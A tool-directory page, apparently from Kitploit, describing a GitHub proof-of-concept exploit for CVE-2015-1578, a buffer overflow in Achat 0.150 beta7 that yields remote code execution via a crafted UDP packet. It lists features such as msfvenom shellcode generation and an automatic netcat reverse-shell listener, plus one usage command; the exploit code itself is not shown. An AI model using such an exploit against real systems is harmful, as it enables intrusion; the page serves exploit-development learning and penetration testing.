Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2015-1578-PoC — This is a proof-of-concept exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet. | Kitploit
Tools/GitHubGitHub/yaldobaoth/cve-2015-1578-poc
Payload GenerationVulnerability AnalysisExploitationShellcodePenetration TestingLearning & EducationRemote Access ToolBinary Exploitation
GitHubyaldobaoth/cve-2015-1578-poc

CVE-2015-1578-PoC

This is a proof-of-concept exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

View Repository
51 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2015-1578-PoC

Overview

This is a proof-of-concept exploit for CVE-2015-1578, a buffer overflow vulnerability in Achat 0.150 beta7 on Windows. Exploitation leads to remote code execution via a crafted UDP packet.

Purpose

This PoC is intended to serve as a clean, minimal, and well-structured example of exploit development. It demonstrates:

  • Dynamic shellcode generation via msfvenom
  • Argument-based targeting and configuration
  • Integrated listener setup
  • Simple payload delivery over UDP

Video Tutorial

Video Tutorial

Dependencies

  • Python 3
  • msfvenom (part of the Metasploit Framework)
  • rlwrap (for enhanced Netcat usability)

Features

  • Dynamically creates the Unicode-encoded payload using msfvenom
  • Automatically starts a listener using rlwrap nc
  • Accepts clean command-line arguments
  • Fails gracefully if optional payload modules are missing

Arguments

-i <target_ip> Target IP address (required) -l, --lhost <listener_ip> Local host IP for reverse shell (required) -p, --lport <port> Local port for reverse shell (required) --rport <port> Remote UDP port on target (default: 9256)

Usage Example

root@kitploit:~
python3 chatter.py -i 10.10.10.74 -l 10.10.16.7 -p 9393

This will:

  • Generate the payload with the provided LHOST and LPORT
  • Launch a listener in a background thread
  • Send the exploit payload over UDP to the target
Download Tool